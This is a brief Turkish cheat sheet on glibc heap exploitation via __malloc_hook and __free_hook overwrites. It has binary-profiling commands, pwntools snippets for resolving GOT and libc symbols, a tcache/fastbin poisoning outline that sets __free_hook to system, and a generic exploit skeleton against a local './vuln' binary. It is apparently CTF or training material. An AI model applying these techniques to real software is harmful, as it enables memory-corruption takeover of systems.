WWW2Exec - \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_malloc_hook & \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_free_hook
binexp offensive
WWW2Exec - \\\\\\\\\\\\\\\\_\\\\\\\\\\\\\\\\malloc_hook & \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_free_hook bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.
Metodoloji
Section titled “Metodoloji”-
checksec + mimari + crash yüzeyini çıkar.
-
Leak veya write primitifini kur.
-
ROP/hook/AW2E ile kontrol akışı al.
-
Shell veya flag’i stabilize et.
Binary profil
Section titled “Binary profil”file ./vulnchecksec --file=./vulnpwn checksec ./vulnreadelf -l ./vuln | rg -i 'gnu_stack|interp'readelf -S ./vuln | rg -i 'got|plt|bss|fini'gdb -q ./vulnGOT / write-what-where
Section titled “GOT / write-what-where”readelf -r ./vuln | rg -i 'got|jump'from pwn import *ell=ELF('./vuln')print(hex(ell.got['printf']))print(hex(ell.plt['system']))Partial RELRO: GOT yazılabilir; Full RELRO → hooks / .fini_array / atexitmalloc/free hook
Section titled “malloc/free hook”from pwn import *libc=ELF('./libc.so.6')print(hex(libc.sym['__free_hook']))print(hex(libc.sym['system']))tcache/fastbin poison → __free_hook=system; free("/bin/sh")one_gadget ./libc.so.6Heap primitif
Section titled “Heap primitif”echo "gdb/pwndbg: heap / bins / chunks"from pwn import *p=process('./vuln')def alloc(sz,data=b'A'): p.sendlineafter(b'>', b'1'); p.sendlineafter(b':', str(sz).encode()); p.sendafter(b':', data)def free(idx): p.sendlineafter(b'>', b'2'); p.sendlineafter(b':', str(idx).encode())Exploit iskeleti
Section titled “Exploit iskeleti”from pwn import *context.binary=ell=ELF('./vuln')p=process('./vuln')# p=remote('TARGET',1337)# leak → calc → write → controlp.interactive()python3 exploit.pyChecklist
Section titled “Checklist”[ ] fingerprint / profil alındı[ ] primitif veya erişim doğrulandı[ ] PoC etkiyi gösterdi[ ] kanıt paketlendi[ ] sonraki pivot not edildi